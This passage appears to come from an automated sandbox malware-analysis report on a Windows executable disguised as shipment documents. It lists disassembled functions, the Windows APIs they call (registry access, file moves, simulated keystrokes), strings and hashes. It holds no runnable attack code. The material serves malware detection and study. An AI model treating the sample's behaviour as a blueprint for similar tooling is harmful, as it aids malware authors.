                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll
                                                                                                                                                                                                          • String ID: 0%d$DOWN$OFF
                                                                                                                                                                                                          • API String ID: 3832890014-468733193
                                                                                                                                                                                                          • Opcode ID: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                                          • Instruction ID: 3901981f80fa7430cd77b89167089bc3925961a07aad88d0cc2f25a35af8916b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b886d43e96c57de01ffb669c6ba173cdd7012b944398daffbb17888043fd80c7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B7F1D8614083856DEB21EB21C845BAF7BE85F95309F08092FF98212193D7BCD68DC76B
                                                                                                                                                                                                          Function 0045E912 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 353timeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • VariantInit.OLEAUT32(00000000), ref: 0045E959
                                                                                                                                                                                                          • VariantCopy.OLEAUT32(00000000), ref: 0045E963
                                                                                                                                                                                                          • VariantClear.OLEAUT32 ref: 0045E970
                                                                                                                                                                                                          • VariantTimeToSystemTime.OLEAUT32 ref: 0045EAEB
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 0045EB1F
                                                                                                                                                                                                          • VarR8FromDec.OLEAUT32(?,?), ref: 0045EB61
                                                                                                                                                                                                          • VariantInit.OLEAUT32(00000000), ref: 0045EBE7
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • %4d%02d%02d%02d%02d%02d, xrefs: 0045EB19
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Variant$InitTime$ClearCopyFromSystem__swprintf
                                                                                                                                                                                                          • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                                                          • API String ID: 43541914-1568723262
                                                                                                                                                                                                          • Opcode ID: 59f20d5c687eca5b8ac21bf224ed8e62dc0999386ac77495242af5446a13f09a
                                                                                                                                                                                                          • Instruction ID: db8708ae94f177a13b26e6bf0e0b18ed2eb17208bc27bd00c320e315e6f9d40a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 59f20d5c687eca5b8ac21bf224ed8e62dc0999386ac77495242af5446a13f09a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: ABC1F4BB1006019BC704AF06D480666F7A1FFD4322F14896FED984B341DB3AE95ED7A6
                                                                                                                                                                                                          Function 0042FE54 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 298sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FE66
                                                                                                                                                                                                          • Sleep.KERNEL32(0000000A), ref: 0042FE6E
                                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(004A7CAC), ref: 0042FF5D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: DecrementInterlocked$Sleep
                                                                                                                                                                                                          • String ID: 0vH$0vH$4RH0vH$@COM_EVENTOBJ
                                                                                                                                                                                                          • API String ID: 2250217261-3412429629
                                                                                                                                                                                                          • Opcode ID: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                                                                                                                                                                                                          • Instruction ID: 990b5f35a06538e4ae7b6c94f393f4a5fafaaf51bfa382c75dcb300f2d234fa3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8ee3dc3b90658de1bdba7935e7c509bae4c97cbbd898303c1487c3161a53cb39
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E0B1C0715083009FC714EF54C990A5FB3E4AF98304F508A2FF495972A2DB78ED4ACB9A
                                                                                                                                                                                                          Function 004689FF Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 288COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                                                                                                                                                                          • API String ID: 0-1603158881
                                                                                                                                                                                                          • Opcode ID: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                                          • Instruction ID: 1d39c91c6ba170ccd8bd44326015c92659356e06a413e753493f98454e3169a0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b68d94a9d6a5d87f13f0fb5a725928f8f142c37ef967d8f11e3e615729381ce2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 49A1D3B14043459BCB20EF50CC81BDE37A4AF94348F44891FF9896B182EF79A64DC76A
                                                                                                                                                                                                          Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                                                                          • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                                                                          • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                                                                          • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                                                                            • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                                                                            • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                                                                            • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                                                                          • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                                                                          • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                                                          • API String ID: 665237470-60002521
                                                                                                                                                                                                          • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                                          • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                                                                          Function 00401D10 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 235COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                                                                                                                                          • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                                                                                                                          • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                                                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                                                                          • String ID: close all$Wu
                                                                                                                                                                                                          • API String ID: 4174999648-1790509019
                                                                                                                                                                                                          • Opcode ID: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                                                                          • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                                                                                                                          Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 535477410-2761332787
                                                                                                                                                                                                          • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                                          • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                                                                          Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0045F317
                                                                                                                                                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                                                                                                                                                          • IsMenu.USER32(?), ref: 0045F380
                                                                                                                                                                                                          • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                                                                                                                                                          • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                                                                                                                                                          • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                                                                                                                                                          • String ID: 0$2
                                                                                                                                                                                                          • API String ID: 3311875123-3793063076
                                                                                                                                                                                                          • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                                          • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                                                                                                                                                          Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe), ref: 0043719E
                                                                                                                                                                                                          • LoadStringW.USER32(00000000), ref: 004371A7
                                                                                                                                                                                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                                                                                                                                                          • LoadStringW.USER32(00000000), ref: 004371C0
                                                                                                                                                                                                          • _printf.LIBCMT ref: 004371EC
                                                                                                                                                                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                                                                                                                                                          • C:\Users\user\Desktop\Export Shipment Documents 72335.exe, xrefs: 00437189
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: HandleLoadModuleString$Message_printf
                                                                                                                                                                                                          • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\Export Shipment Documents 72335.exe
                                                                                                                                                                                                          • API String ID: 220974073-296908214
                                                                                                                                                                                                          • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                                          • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                                                                          Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                                          • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                                                                                                                          Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,004A8E80,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                                                                                                                          • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 978794511-0
                                                                                                                                                                                                          • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                                          • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                                                                                                                          Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                                          • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                                                                                                                          Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                                                                            • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                                                                            • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                                                                          • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                                                                          • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
